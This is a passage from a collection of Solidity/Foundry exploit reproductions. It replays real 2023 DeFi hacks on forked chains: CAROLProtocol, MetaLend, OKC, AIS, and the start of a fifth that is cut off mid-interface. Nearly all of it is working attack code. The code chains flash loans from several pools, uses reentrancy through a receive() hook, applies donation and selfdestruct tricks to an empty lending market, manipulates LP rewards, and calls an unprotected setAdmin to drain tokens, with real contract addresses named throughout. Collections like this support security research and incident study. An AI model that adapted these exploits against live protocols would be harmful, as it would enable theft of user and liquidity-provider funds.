// Attack Tx : https://app.blocksec.com/explorer/tx/base/0xd962d397a7f8b3aadce1622e705b9e33b430e86e0d306d6fb8ccbc5957b4185c

// @Info
// Vulnerable Contract Code : https://basescan.org/address/0x26fe408bbd7a490feb056da8e2d1e007938e5685#code

// @Analysis
// Post-mortem :
// Twitter Guy : https://x.com/MetaSec_xyz/status/1730496513359647167
// Hacking God :

interface ICAROLProtocol {
    function buy(address upline, uint8 bondType) external payable;

    function sell(
        uint256 tokensAmount
    ) external;

    function stake(
        uint8 bondIdx
    ) external payable;

    function bonds(
        address,
        uint8
    )
        external
        view
        returns (
            uint256 amount,
            uint256 creationTime,
            uint256 freezePeriod,
            uint256 profitPercent,
            uint256 stakeAmount,
            uint256 stakeTime,
            uint256 collectedTime,
            uint256 collectedReward,
            uint256 stakingRewardLimit,
            bool isClosed
        );

    function userBalance(
        address userAddress
    ) external view returns (uint256 balance);
}

interface IKokonut {
    function flashLoan(address borrower, uint256[] memory amounts, bytes memory data) external;
}

interface ISynapseETHPools {
    function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;
}

contract ContractTest is Test {
    ICAROLProtocol private constant CAROLProtocol = ICAROLProtocol(0x26fe408BbD7A490fEB056DA8e2D1e007938E5685);
    IWETH private constant WETH = IWETH(payable(0x4200000000000000000000000000000000000006));
    ISynapseETHPools private constant SynapseETHPools = ISynapseETHPools(0x6223bD82010E2fB69F329933De20897e7a4C225f);
    IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    IKokonut private constant Kokonut = IKokonut(0x73c3A78E5FF0d216a50b11D51B262ca839FCfe17);
    Uni_Pair_V3 private constant WETH_USDbCV3 = Uni_Pair_V3(0x4C36388bE6F416A29C8d8Eee81C771cE6bE14B18);
    Uni_Pair_V2 private constant WETH_USDbCV2 = Uni_Pair_V2(0xB4885Bc63399BF5518b994c1d0C153334Ee579D0);
    Uni_Router_V2 private constant Router = Uni_Router_V2(0x327Df1E6de05895d2ab08513aaDD9313Fe505d86);
    IERC20 private constant CAROL = IERC20(0x4A0a76645941d8C7ba059940B3446228F0DB8972);
    uint256 private constant blocknumToForkFrom = 7_246_080;

    bool withdrawingWETH;

    function setUp() public {
        vm.createSelectFork("base", blocknumToForkFrom);
        vm.label(address(CAROLProtocol), "CAROLProtocol");
        vm.label(address(WETH), "WETH");
        vm.label(address(SynapseETHPools), "SynapseETHPools");
        vm.label(address(BalancerVault), "BalancerVault");
        vm.label(address(Kokonut), "Kokonut");
        vm.label(address(WETH_USDbCV3), "WETH_USDbCV3");
        vm.label(address(WETH_USDbCV2), "WETH_USDbCV2");
        vm.label(address(Router), "Router");
        vm.label(address(CAROL), "CAROL");
    }

    function testExploit() public {
        // Prepare tx:
        // Start with following ETH balance
        deal(address(this), 0.07 ether);
        emit log_named_decimal_uint("Exploiter ETH balance before attack", address(this).balance, 18);
        // Buy CAROL tokens with ETH through bonding. Create active 'Bond'
        CAROLProtocol.buy{value: 0.03 ether}(address(this), 0);
        // Use remaining ETH and CAROL tokens from active 'Bond' for liquidity staking in WETH_CAROL pair
        CAROLProtocol.stake{value: 0.039 ether}(0);

        // Attack tx:
        vm.roll(block.number + 33_719);
        // Adjusted time. Without following line, output from ICAROLProtocol.userBalance(userAddress) will be 0
        // in later time. This is wrong.
        vm.warp(block.timestamp + 18 hours + 39 minutes - 2 seconds);

        // Flashloan WETH from Synapse
        SynapseETHPools.flashLoan(address(this), address(WETH), WETH.balanceOf(address(SynapseETHPools)), bytes(""));

        withdrawingWETH = true;
        WETH.withdraw(WETH.balanceOf(address(this)));

        emit log_named_decimal_uint("Exploiter ETH balance after attack", address(this).balance, 18);
    }

    function executeOperation(
        address sender,
        address underlying,
        uint256 amount,
        uint256 fee,
        bytes calldata params
    ) external {
        // Flashloan WETH from Balancer
        address[] memory tokens = new address[](1);
        tokens[0] = address(WETH);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = WETH.balanceOf(address(BalancerVault));
        BalancerVault.flashLoan(address(this), tokens, amounts, bytes(""));
        WETH.transfer(address(SynapseETHPools), amount + fee);
    }

    function receiveFlashLoan(
        address[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        // Flashloan WETH from Kokonut
        uint256[] memory tokenAmounts = new uint256[](2);
        tokenAmounts[0] = 0;
        tokenAmounts[1] = WETH.balanceOf(address(Kokonut));
        Kokonut.flashLoan(address(this), tokenAmounts, bytes(""));
        WETH.transfer(msg.sender, amounts[0]);
    }

    function onFlashLoan(
        address initiator,
        uint256[] calldata amounts,
        uint256[] calldata fees,
        bytes calldata data
    ) external {
        // Flashloan WETH from UniswapV3 pool
        bytes memory data = abi.encode(uint256(WETH.balanceOf(address(WETH_USDbCV3))));
        WETH_USDbCV3.flash(address(this), WETH.balanceOf(address(WETH_USDbCV3)), 0, data);
        WETH.transfer(address(Kokonut), amounts[1] + fees[1]);
    }

    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        uint256 repayAmount = abi.decode(data, (uint256));
        // Following value comes from data parameter in attack tx
        // The total amount of WETH should be this much after flashloans
        uint256 totalAmountOfWETH = 3400e18;
        uint256 amount0Out = totalAmountOfWETH - (WETH.balanceOf(address(this)));
        // Borrow additional WETH amount
        WETH_USDbCV2.swap(amount0Out, 0, address(this), abi.encodePacked(uint8(1)));
        WETH.transfer(address(WETH_USDbCV3), repayAmount + fee0);
    }

    function hook(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        emit log_named_decimal_uint("WETH amount after flashloans", WETH.balanceOf(address(this)), 18);
        // Swap all WETH to CAROL
        WETH.approve(address(Router), type(uint256).max);
        CAROL.approve(address(Router), type(uint256).max);
        WETHToCAROL();
        emit log_named_decimal_uint(
            "CAROL amount after swap from WETH", CAROL.balanceOf(address(this)), CAROL.decimals()
        );

        uint256 sellAmount = CAROLProtocol.userBalance(address(this));
        uint256 i;
        while (i < 1000) {
            // Call to flawed function. This function make a call to swapExactTokensForETH
            // swapExactTokensForETH calls receive() function of this contract (reentrancy possibility)
            // In receive() exploiter can manipulate 'ethReserved' value (analysis link)
            (bool success,) =
                address(CAROLProtocol).call(abi.encodeWithSelector(bytes4(ICAROLProtocol.sell.selector), sellAmount));
            if (success) {
                break;
            } else {
                sellAmount = sellAmount - sellAmount / 100;
                ++i;
            }
        }
        CAROLToWETH(CAROL.balanceOf(address(this)));
        WETH.deposit{value: address(this).balance}();
        uint256 feeAmt = amount0 * 30;
        uint256 amountToTransfer = (amount0 + feeAmt / 10_000) + 50e15;
        WETH.transfer(address(WETH_USDbCV2), amountToTransfer);
    }

    receive() external payable {
        if (withdrawingWETH) {
            return;
        }
        uint256 amountIn = (CAROL.balanceOf(address(this)) * 90) / 100;
        CAROLToWETH(amountIn);
    }

    function WETHToCAROL() private {
        address[] memory path = new address[](2);
        path[0] = address(WETH);
        path[1] = address(CAROL);

        Router.swapExactTokensForTokens(WETH.balanceOf(address(this)), 0, path, address(this), block.timestamp + 4000);
    }

    function CAROLToWETH(
        uint256 amount
    ) private {
        address[] memory path = new address[](2);
        path[0] = address(CAROL);
        path[1] = address(WETH);

        Router.swapExactTokensForTokens(amount, 0, path, address(this), block.timestamp + 4000);
    }
}

CAROLProtocol Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "./../basetest.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~$4K
// Attacker : https://etherscan.io/address/0x0c06340f5024c114fe196fcb38e42d20ab00f6eb
// Attack Contract : https://etherscan.io/address/0x80a6419cb8e7d1ef1af074368f7eace1ae2358ca
// Vulnerable Contract : https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b
// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x4c684fb2618c29743531dec9253ede1b757bda0b323dc2f305e3b50ab1773da7

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x5578f2e245e932a599c46215a0ca88707230f17b#code

// @Analysis
// Post-mortem :
// Twitter Guy : https://x.com/MetaSec_xyz/status/1728424965257691173
// Hacking God :

contract MetaLendExploit is BaseTestWithBalanceLog {
    IAaveFlashloan private constant Spark = IAaveFlashloan(0xC13e21B648A5Ee794902342038FF3aDAB66BE987);
    Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
    IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
    ICointroller private constant Comptroller = ICointroller(0x0ee4b2C533ED3fFbd9f04CD7E812A4041bbE89f6);

    uint256 private constant blocknumToForkFrom = 18_648_753;

    function setUp() public {
        vm.createSelectFork("mainnet", blocknumToForkFrom);
        vm.label(address(Spark), "Spark");
        vm.label(address(Router), "Router");
        vm.label(address(WETH), "WETH");
        vm.label(address(WBTC), "WBTC");
        vm.label(address(Comptroller), "Comptroller");
    }

    function testExploit() public {
        deal(address(this), 0);
        emit log_named_decimal_uint("Exploiter WETH balance before attack", WETH.balanceOf(address(this)), 18);

        Spark.flashLoanSimple(address(this), address(WETH), 100e18, bytes(""), 0);

        emit log_named_decimal_uint("Exploiter WETH balance after attack", WETH.balanceOf(address(this)), 18);
    }

    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        WETH.withdraw(WETH.balanceOf(address(this)));
        Helper helper = new Helper{value: 100 ether}();
        helper.donateAndBorrow();
        WETH.deposit{value: address(this).balance}();
        WBTC.approve(address(Router), type(uint256).max);
        WBTCToWETH();
        WETH.approve(address(Spark), amount);
        return true;
    }

    receive() external payable {}

    function WBTCToWETH() private {
        address[] memory path = new address[](2);
        path[0] = address(WBTC);
        path[1] = address(WETH);
        Router.swapExactTokensForTokens(WBTC.balanceOf(address(this)), 0, path, address(this), block.timestamp + 1000);
    }
}

contract Helper is Test {
    IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599);
    ICErc20Delegate private constant mWBTC = ICErc20Delegate(payable(0x0D8Df79195EC37C6cD53036f9F8eE0c24b23601E));
    crETH private constant mETH = crETH(payable(0x5578f2E245e932a599c46215a0cA88707230F17B));
    ICointroller private constant Comptroller = ICointroller(0x0ee4b2C533ED3fFbd9f04CD7E812A4041bbE89f6);
    address private immutable owner;

    constructor() payable {
        owner = msg.sender;
    }

    function donateAndBorrow() external {
        mETH.mint{value: 1 ether}();
        uint256 reedemAmount = mETH.totalSupply() - 2;
        mETH.redeem(reedemAmount);
        Donator donator = new Donator();
        donator.sendETHTo{value: address(this).balance}(address(mETH));
        address[] memory mTokens = new address[](1);
        mTokens[0] = address(mETH);
        Comptroller.enterMarkets(mTokens);
        uint256 underlyingWBTCAmount = mWBTC.getCash();
        mWBTC.borrow(underlyingWBTCAmount - 1);
        WBTC.transfer(owner, WBTC.balanceOf(address(this)));
        mETH.redeemUnderlying(mETH.getCash() - 1);
        (bool success,) = owner.call{value: address(this).balance}("");
        require(success);
    }

    receive() external payable {}
}

contract Donator is Test {
    function sendETHTo(
        address to
    ) external payable {
        selfdestruct(payable(to));
    }
}

MetaLend Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "../interface.sol";

// @Analysis
// https://lunaray.medium.com/okc-project-hack-analysis-0907312f519b
// @TX
// https://dashboard.tenderly.co/tx/bnb/0xd85c603f71bb84437bc69b21d785f982f7630355573566fa365dbee4cd236f08

contract ContractTest is Test {
    AttackContract public attack_contract;

    function setUp() public {
        vm.createSelectFork("bsc", 33_464_598);
        assertEq(block.number, 33_464_598);
        attack_contract = new AttackContract();
        setLabel();
        vm.deal(address(this), 1 ether);
    }

    function setLabel() private {
        vm.label(address(this), "Attacker");
        vm.label(address(attack_contract), "AttackContract");
        vm.label(address(attack_contract.DPP1()), "0x8191_DPPAdvanced");
        vm.label(address(attack_contract.DPP2()), "0xfeaf_DPPOracle");
        vm.label(address(attack_contract.DPP3()), "0x26d0_DPPOracle");
        vm.label(address(attack_contract.DPP4()), "0x6098_DPP");
        vm.label(address(attack_contract.DPP4()), "0x6098_DPP");
        vm.label(address(attack_contract.DPP5()), "0x9ad3_DPPOracle");
        vm.label(address(attack_contract.pancakeV3Pool()), "PancakeV3Pool");
        vm.label(address(attack_contract.pancakePair_USDT_OKC()), "PancakePair_USDT_OKC");
        vm.label(address(attack_contract.USDT()), "USDT");
        vm.label(address(attack_contract.OKC()), "OKC");
        vm.label(address(attack_contract.pancakeRouter()), "PancakeRouter");
    }

    function testExploit() public {
        // 0.000000000000000001
        attack_contract.expect1{value: 1 ether}();
    }
}

contract AttackContract is IDODOCallee {
    uint256 public nonce = 1;
    AttackContract2 public attack_contract1;
    AttackContract2 public attack_contract2;

    IERC20 public USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 public OKC = IERC20(0xABba891c633Fb27f8aa656EA6244dEDb15153fE0);
    address payable public minerPool = payable(address(0x36016C4F0E0177861E6377f73C380c70138E13EE));

    IDPPOracle public DPP1 = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);
    IDPPOracle public DPP2 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
    IDPPOracle public DPP3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);
    IDPPOracle public DPP4 = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);
    IDPPOracle public DPP5 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
    IPancakeV3Pool public pancakeV3Pool = IPancakeV3Pool(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);
    IPancakeRouter public pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IPancakePair public pancakePair_USDT_OKC = IPancakePair(0x9CC7283d8F8b92654e6097acA2acB9655fD5ED96);

    function approveAll() internal {
        OKC.approve(address(pancakeRouter), type(uint256).max);
        pancakePair_USDT_OKC.approve(address(pancakeRouter), type(uint256).max);
    }

    function expect1() external payable {
        uint256 size;
        address aaa = address(this);
        assembly {
            size := extcodesize(aaa)
        }
        console2.log("transfer_all size is: ", size);
        approveAll();
        console2.log(
            "minerPool OKC: ",
            OKC.balanceOf(address(minerPool)),
            ", ",
            uint256(OKC.balanceOf(address(minerPool)) / 1e18)
        );
        console2.log(
            "LP USDT: ",
            USDT.balanceOf(address(pancakePair_USDT_OKC)),
            ", ",
            uint256(USDT.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)
        );
        console2.log(
            "LP OKC: ",
            OKC.balanceOf(address(pancakePair_USDT_OKC)),
            ", ",
            uint256(OKC.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)
        );

        uint256 amount = USDT.balanceOf(address(DPP1));
        DPP1.flashLoan(0, amount, address(this), "0");
        uint256 shengyu = USDT.balanceOf(address(this));
        console2.log("usdt amount profit: ", shengyu, " ", uint256(shengyu / 1e18));

        console2.log(
            "minerPool OKC: ",
            OKC.balanceOf(address(minerPool)),
            ", ",
            uint256(OKC.balanceOf(address(minerPool)) / 1e18)
        );
        console2.log(
            "LP USDT: ",
            USDT.balanceOf(address(pancakePair_USDT_OKC)),
            ", ",
            uint256(USDT.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)
        );
        console2.log(
            "LP OKC: ",
            OKC.balanceOf(address(pancakePair_USDT_OKC)),
            ", ",
            uint256(OKC.balanceOf(address(pancakePair_USDT_OKC)) / 1e18)
        );
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        if (keccak256(data) == keccak256(bytes("0"))) {
            uint256 amount = USDT.balanceOf(address(DPP2));
            DPP2.flashLoan(0, amount, address(this), "1");
            USDT.transfer(address(DPP1), quoteAmount);
        } else if (keccak256(data) == keccak256(bytes("1"))) {
            uint256 amount = USDT.balanceOf(address(DPP3));
            DPP3.flashLoan(0, amount, address(this), "2");
            USDT.transfer(address(DPP2), quoteAmount);
        } else if (keccak256(data) == keccak256(bytes("2"))) {
            uint256 amount = USDT.balanceOf(address(DPP4));
            DPP4.flashLoan(0, amount, address(this), "3");
            USDT.transfer(address(DPP3), quoteAmount);
        } else if (keccak256(data) == keccak256(bytes("3"))) {
            uint256 amount = USDT.balanceOf(address(DPP5));
            DPP5.flashLoan(0, amount, address(this), "4");
            USDT.transfer(address(DPP4), quoteAmount);
        } else if (keccak256(data) == keccak256(bytes("4"))) {
            uint256 amount = USDT.balanceOf(address(DPP5));
            pancakeV3Pool.flash(
                address(this),
                2_500_000_000_000_000_000_000_000,
                0,
                abi.encodePacked(uint256(2_500_000_000_000_000_000_000_000))
            );
            USDT.transfer(address(DPP5), quoteAmount);
        }
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        uint256 amount_flash = abi.decode(data, (uint256));
        uint256 ust_amount = USDT.balanceOf(address(this));
        console2.log("usdt amount: ", ust_amount, ", ", uint256(ust_amount / 1e18));
        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");

        swap();
        mint();
        USDT.transfer(address(pancakeV3Pool), amount_flash + fee0);
    }

    function swap() private {
        console2.log("--- Step 1: Redeem OKC with Borrowed Points USDT");
        address[] memory a = new address[](2);
        a[0] = address(USDT);
        a[1] = address(OKC);

        uint256 reserve0 = USDT.balanceOf(address(pancakePair_USDT_OKC));
        uint256 reserve1 = OKC.balanceOf(address(pancakePair_USDT_OKC));
        console2.log("LP swap before reserves = ", reserve0, ", ", reserve1);

        uint256[] memory out = pancakeRouter.getAmountsOut(130_000_000_000_000_000_000_000, a);
        //assert(out[0] == 130000000000000000000000);
        //assert(out[1] == 28109225547221109324317);
        pancakePair_USDT_OKC.swap(
            1, 28_108_225_547_221_109_324_317, address(this), abi.encodePacked(uint256(130_000_000_000_000_000_000_000))
        );

        uint256 reserve011 = USDT.balanceOf(address(pancakePair_USDT_OKC));
        uint256 reserve122 = OKC.balanceOf(address(pancakePair_USDT_OKC));
        console2.log("LP swap after reserves = ", reserve011, ", ", reserve122);

        uint256 usdt_amount = USDT.balanceOf(address(this));
        uint256 okc_amount = OKC.balanceOf(address(this));
        //assert(usdt_amount == 2623399993009917185325960);
        //assert(okc_amount == 27264978780804476044588);
        console2.log("usdt amount(swap end): ", usdt_amount, ", ", uint256(usdt_amount / 1e18));
        console2.log("okc amount(swap end): ", okc_amount, ", ", uint256(okc_amount / 1e18));
        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
    }

    function mint() private {
        console2.log("--- Step 2: Staking Liquidity");
        address new_attack_contract1 = calculateAddress(address(this), nonce);
        console2.log("Advance Calculation Contract Address(new_attack_contract2): ", new_attack_contract1);
        //vm.label(address(attack_contract2), "AttackContract2");
        OKC.transfer(address(new_attack_contract1), 10_000_000_000_000_000);
        attack_contract1 = new AttackContract2();

        nonce++;
        uint256 size;
        assembly {
            size := extcodesize(new_attack_contract1)
        }
        console2.log("transfer_all size is: ", size);

        address new_attack_contract2 = calculateAddress(address(this), nonce);
        console2.log("Advance Calculation Contract Address(new_attack_contract3): ", new_attack_contract2);

        USDT.transfer(address(new_attack_contract2), 100_000_000_000_000);
        OKC.transfer(address(new_attack_contract2), 1);
        attack_contract2 = new AttackContract2();
        //vm.label(address(attack_contract3), "AttackContract3");

        (uint112 reserve0, uint112 reserve1, uint32 blockTimeLast) = pancakePair_USDT_OKC.getReserves();
        //assert(reserve0 == 139293866156595223760844);
        //assert(reserve1 == 2015600963959283799829);
        console2.log("getReserves: ", reserve0, reserve1, blockTimeLast);
        uint256 okc_amount3 = OKC.balanceOf(address(this));

        uint256 amountb = pancakeRouter.quote(okc_amount3, reserve1, reserve0);
        //assert(amountb == 1884223603791570904823359);
        USDT.transfer(address(pancakePair_USDT_OKC), amountb);

        uint256 okc_amount4 = OKC.balanceOf(address(this));
        //assert(okc_amount4 == 27264968780804476044587);
        OKC.transfer(address(pancakePair_USDT_OKC), okc_amount4);

        uint256 lp1 = pancakePair_USDT_OKC.mint(address(this));
        //assert(lp1 == 225705840317082411194413);
        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
        console2.log("attack_contract1 lp = ", pancakePair_USDT_OKC.balanceOf(address(attack_contract1)));
        console2.log("attack_contract2 lp = ", pancakePair_USDT_OKC.balanceOf(address(attack_contract2)));

        uint256 lp_amount1 = pancakePair_USDT_OKC.balanceOf(address(this));
        console2.log("this LP: ", lp_amount1);
        pancakePair_USDT_OKC.transfer(address(attack_contract2), lp_amount1);

        console2.log("--- Step 3: Main attack point");
        // MinerPool.call{value: 1 wei}(""); // Attackers use this method
        minerPool.call(abi.encodeWithSignature("processLPReward()"));
        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
        //assert(225705840317082411194413 == pancakePair_USDT_OKC.balanceOf(address(attack_contract2)));
        uint256 tmp1 = attack_contract2.transfer_all(address(pancakePair_USDT_OKC), address(this));
        //assert(tmp1 == 225705840317082411194413);

        uint256 lp_amount2 = pancakePair_USDT_OKC.balanceOf(address(this));
        //assert(225705840317082411194413 == lp_amount2);
        (uint256 a, uint256 b) = pancakeRouter.removeLiquidity(
            address(OKC), address(USDT), lp_amount2, 0, 0, address(this), block.timestamp + 1000
        );
        //assert(a == 27264977626947917860405);
        //assert(b == 1884223603891570904823358);

        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");

        uint256 tmp2 = attack_contract1.transfer_all(address(OKC), address(this));
        //assert(tmp2 == 272649687808044760445);
        uint256 tmp3 = attack_contract2.transfer_all(address(OKC), address(this));
        //assert(tmp3 == 77890958849117701118009);

        console2.log("--- Step 4: Withdraw earnings");
        uint256 okc_amount5 = OKC.balanceOf(address(this));
        //assert(104610636835065226203047 == okc_amount5);

        address[] memory path = new address[](2);

        path[0] = address(OKC);
        path[1] = address(USDT);

        console2.log("okc amount = ", OKC.balanceOf(address(this)), ", ", OKC.balanceOf(address(this)) / 1e18);
        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
        console2.log("swap OKC to USDT");
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            okc_amount5, 0, path, address(this), block.timestamp + 1000
        );
        console2.log("1 okc = ", uint256(getTokenPrice()), " usdt");
        console2.log("usdt amount = ", USDT.balanceOf(address(this)), ", ", USDT.balanceOf(address(this)) / 1e18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        uint256 amount = abi.decode(data, (uint256));
        USDT.transfer(address(pancakePair_USDT_OKC), amount);
        console2.log("USDT transfer to LP: ", amount, ", ", uint256(amount / 1e18));
        console2.log("LP USDT: ", USDT.balanceOf(address(pancakePair_USDT_OKC)));
        console2.log("LP OKC: ", OKC.balanceOf(address(pancakePair_USDT_OKC)));
    }

    function getTokenPrice() public view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = address(OKC);
        path[1] = address(USDT);
        uint256[] memory amounts = pancakeRouter.getAmountsOut(1e18, path);
        return amounts[1];
    }

    function calculateAddress(address creator, uint256 nonce) public pure returns (address) {
        bytes memory data;
        if (nonce == 0x00) {
            data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), creator, bytes1(0x80));
        } else if (nonce <= 0x7f) {
            data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), creator, uint8(nonce));
        } else if (nonce <= 0xff) {
            data = abi.encodePacked(bytes1(0xd7), bytes1(0x94), creator, bytes1(0x81), uint8(nonce));
        } else if (nonce <= 0xffff) {
            data = abi.encodePacked(bytes1(0xd8), bytes1(0x94), creator, bytes1(0x82), uint16(nonce));
        } else if (nonce <= 0xffffff) {
            data = abi.encodePacked(bytes1(0xd9), bytes1(0x94), creator, bytes1(0x83), uint24(nonce));
        } else {
            data = abi.encodePacked(bytes1(0xda), bytes1(0x94), creator, bytes1(0x84), uint32(nonce));
        }
        return address(uint160(uint256(keccak256(data))));
    }
}

contract AttackContract2 {
    IERC20 public USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 public OKC = IERC20(0xABba891c633Fb27f8aa656EA6244dEDb15153fE0);
    IPancakePair public PancakePair_USDT_OKC = IPancakePair(0x9CC7283d8F8b92654e6097acA2acB9655fD5ED96);

    constructor() {
        uint256 amount = USDT.balanceOf(address(this));
        USDT.transfer(address(PancakePair_USDT_OKC), amount);
        uint256 amount2 = OKC.balanceOf(address(this));
        OKC.transfer(address(PancakePair_USDT_OKC), amount2);
    }

    function transfer_all(address token, address to) public returns (uint256) {
        uint256 size;
        address aaa = address(this);
        assembly {
            size := extcodesize(aaa)
        }
        console2.log("transfer_all size is: ", size);
        uint256 amount = IERC20(token).balanceOf(address(this));
        if (IERC20(token).transfer(to, amount)) {
            return amount;
        } else {
            revert("transfer error");
        }
    }
}

OKC Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~$61k
// Frontrunner: https://bscscan.com/address/0x7cb74265e3e2d2b707122bf45aea66137c6c8891
// Original Attacker: https://bscscan.com/address/0x84f37F6cC75cCde5fE9bA99093824A11CfDc329D
// Frontrunner Contract: https://bscscan.com/address/0x15ffd1d02b3918c9e56f75e30d23786d3ef2b5bc
// Original Attack Contract: https://bscscan.com/address/0xf6f60b0e83d9837c1f247c575c8583b1d085d351
// Vulnerable Contract:
// https://bscscan.com/address/0x6844ef18012a383c14e9a76a93602616ee9d6132
// https://bscscan.com/address/0xffac2ed69d61cf4a92347dcd394d36e32443d9d7
// Attack Tx: https://bscscan.com/tx/0x0be817b6a522a111e06293435c233dab6576d7437d0e148b45efcf7ab8a10de0

// @Analysis
// https://twitter.com/Phalcon_xyz/status/1729861048004391306

interface IAIS is IERC20 {
    function setSwapPairs(
        address _address
    ) external;
    function harvestMarket() external;
}

interface VulContract {
    function setAdmin(
        address _admin
    ) external;
    function transferToken(address _from, address _to, uint256 _tokenId) external;
}

contract AISExploit is Test {
    IERC20 usdt = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IAIS AIS = IAIS(0x6844Ef18012A383c14E9a76a93602616EE9d6132);

    Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);
    Uni_Pair_V2 usdt_ais = Uni_Pair_V2(0x1219F2699893BD05FE03559aA78e0923559CF0cf);
    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);

    VulContract vulContract = VulContract(0xFFAc2Ed69D61CF4a92347dCd394D36E32443D9d7);

    function setUp() public {
        vm.createSelectFork("bsc", 33_916_687);

        vm.label(address(usdt), "USDT");
        vm.label(address(AIS), "AIS");
        vm.label(address(pool), "pool");
        vm.label(address(usdt_ais), "usdt_ais pair");
        vm.label(address(router), "router");
    }

    function testExploit() public {
        uint256 balanceBefore = usdt.balanceOf(address(this));

        usdt.approve(address(router), type(uint256).max);
        AIS.approve(address(router), type(uint256).max);

        pool.flash(address(this), 3_000_000 ether, 0, new bytes(1));
        uint256 balanceAfter = usdt.balanceOf(address(this));
        emit log_named_decimal_uint("USDT profit", balanceAfter - balanceBefore, usdt.decimals());
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256, /*fee1*/ bytes memory /*data*/ ) public {
        swap(3_000_000 ether, address(usdt), address(AIS));

        usdt_ais.skim(address(this));
        for (uint256 i = 0; i < 100; i++) {
            uint256 balance = AIS.balanceOf(address(this));
            AIS.transfer(address(usdt_ais), balance * 90 / 100);
            AIS.transfer(address(usdt_ais), 0);
            usdt_ais.skim(address(this));
            usdt_ais.skim(address(this));
        }

        AIS.harvestMarket();
        vulContract.setAdmin(address(this));

        uint256 amount = AIS.balanceOf(address(vulContract)) * 90 / 100;
        vulContract.transferToken(address(AIS), address(this), amount);
        AIS.setSwapPairs(address(this));

        AIS.transfer(address(usdt_ais), AIS.balanceOf(address(this)));
        AIS.transfer(address(usdt_ais), 0);
        swap(0, address(AIS), address(usdt));

        usdt.transfer(address(pool), 3_000_000 ether + fee0);
    }

    function swap(uint256 amountIn, address tokenIn, address tokenOut) internal {
        address[] memory path = new address[](2);
        path[0] = tokenIn;
        path[1] = tokenOut;
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, 0, path, address(this), block.timestamp);
    }
}

AIS Exploit (2023-11)


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

// @KeyInfo - Total Lost : ~$30K
// Attacker : https://bscscan.com/address/0xdf6b0200b4e1bc4a310f33df95a9087cc2c79038
// Attack Contract : https://bscscan.com/address/0x721a66c7767103e7dcacf8440e8dd074edff40a8
// Vulnerable Contract : https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de
// Attack Tx : https://explorer.phalcon.xyz/tx/bsc/0x4ed59e3013215c272536775a966f4365112997a6eec534d38325be014f2e15ee

// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x6524a5fd3fec179db3b3c1d21f700da7abe6b0de#code

// @Analysis
// Twitter Guy : https://x.com/phalcon_xyz/status/1725058908144746992

interface IUniswapV2Pair {
    event Transfer(address indexed from, address indexed to, uint256 value);

    function balanceOf(
        address owner
    ) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );

